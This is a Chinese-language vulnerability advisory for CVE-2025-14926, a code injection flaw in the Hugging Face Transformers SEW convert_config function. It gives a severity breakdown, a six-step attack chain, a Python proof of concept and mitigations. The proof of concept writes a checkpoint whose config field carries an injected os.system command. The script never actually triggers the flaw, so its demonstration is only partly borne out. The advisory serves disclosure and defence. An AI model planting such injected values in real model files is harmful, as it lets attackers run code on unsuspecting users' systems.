IPBUF安全漏洞报告
English
CVE-2025-14926 CVSS 7.8 高危

CVE-2025-14926: Hugging Face Transformers SEW convert_config代码注入漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14926
漏洞类型
远程代码执行(RCE)/代码注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Transformers

相关标签

CVE-2025-14926Hugging Face Transformers代码注入远程代码执行SEW模型convert_configZDI-CAN-28251机器学习安全Python安全

漏洞概述

CVE-2025-14926是Hugging Face Transformers库中的一个严重代码注入漏洞,CVSS评分7.8,属于高危级别。该漏洞存在于SEW(Sequence Encoder with eXciting attention)模型的convert_config函数中,攻击者可以通过构造恶意的checkpoint文件,在目标用户尝试转换配置时注入并执行任意Python代码。由于漏洞利用需要用户交互,即目标用户必须转换一个经过特殊构造的checkpoint文件,因此攻击具有一定的局限性,但在实际场景中仍具有较高的威胁性。攻击成功后,攻击者可以在当前用户的上下文中执行任意代码,从而可能导致数据泄露、系统被完全控制等严重后果。该漏洞由ZDI(Zero Day Initiative)披露,编号为ZDI-CAN-28251。

技术细节

该漏洞的根本原因在于convert_config函数缺乏对用户提供的配置字符串进行充分的安全验证。具体来说,当处理checkpoint文件时,该函数会直接使用用户提供的字符串值来动态执行Python代码,而没有进行适当的清理或验证。攻击者可以通过精心构造一个包含恶意Python代码的checkpoint文件,当受害用户使用Hugging Face Transformers库加载并转换该文件时,恶意代码将被执行。攻击向量为本地(AV:L),意味着攻击者需要能够使目标用户加载特制的checkpoint文件。认证要求为无需认证(PR:N),但需要用户交互(UI:R),即目标用户必须主动进行checkpoint转换操作。攻击者可以利用此漏洞在当前用户权限下执行任意代码,实现远程代码执行。漏洞影响范围涵盖机密性、完整性和可用性三个方面,均为高影响级别。

攻击链分析

STEP 1
步骤1: 侦察与准备
攻击者识别目标系统使用Hugging Face Transformers库,并确定存在SEW模型的convert_config函数漏洞
STEP 2
步骤2: 制作恶意checkpoint
攻击者构造一个包含恶意Python代码的checkpoint文件,代码被嵌入到配置参数中,特别是_name_or_path字段
STEP 3
步骤3: 分发恶意文件
攻击者通过各种渠道(如GitHub、模型分享平台、钓鱼邮件等)将恶意checkpoint文件分发给目标用户
STEP 4
步骤4: 诱导用户交互
攻击者诱使目标用户使用Hugging Face Transformers加载并转换该恶意的checkpoint文件
STEP 5
步骤5: 代码执行
当convert_config函数处理恶意配置时,未经清理的用户输入被用于代码执行,导致注入的恶意Python代码在目标系统上运行
STEP 6
步骤6: 达成攻击目标
攻击者成功在目标用户权限下执行任意代码,可以进行数据窃取、持久化控制、横向移动等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14926 PoC - Malicious checkpoint for SEW convert_config # This PoC demonstrates the code injection vulnerability in Hugging Face Transformers import torch import os def create_malicious_checkpoint(): """ Create a malicious checkpoint that exploits the convert_config vulnerability. The malicious code will be executed when convert_config processes the config. """ malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" # Create a malicious config dictionary # This simulates how an attacker might inject code through config values config = { '_name_or_path': malicious_code, 'model_type': 'sew', 'architectures': ['SEWModel'], 'hidden_size': 768, 'num_hidden_layers': 12, 'num_attention_heads': 12, 'intermediate_size': 3072 } # Save the malicious checkpoint checkpoint_path = '/tmp/malicious_sew_checkpoint.pt' torch.save({ 'state_dict': torch.randn(10, 10), 'config': config }, checkpoint_path) print(f'[+] Malicious checkpoint created: {checkpoint_path}') return checkpoint_path def exploit(): """ Simulate the exploitation process. In real scenario, victim would load this checkpoint using: from transformers import SEWModel, AutoConfig config = AutoConfig.from_pretrained('malicious_checkpoint_path') """ checkpoint_path = create_malicious_checkpoint() print('[+] Attacker can now distribute this malicious checkpoint') print('[+] When victim loads it via convert_config, arbitrary code executes') # Cleanup if os.path.exists(checkpoint_path): os.remove(checkpoint_path) if __name__ == '__main__': exploit()

影响范围

Hugging Face Transformers < 修复版本
SEW (Sequence Encoder with eXciting attention) 模型转换功能

防御指南

临时缓解措施
临时缓解措施包括:1) 严格限制从不可信来源下载和使用checkpoint文件;2) 在隔离环境(如沙箱或容器)中加载和处理来自第三方的模型;3) 监控和审计模型加载操作;4) 考虑使用签名验证机制确保模型文件的完整性和来源可信;5) 临时禁用或限制SEW模型的自动配置转换功能,等待官方安全补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表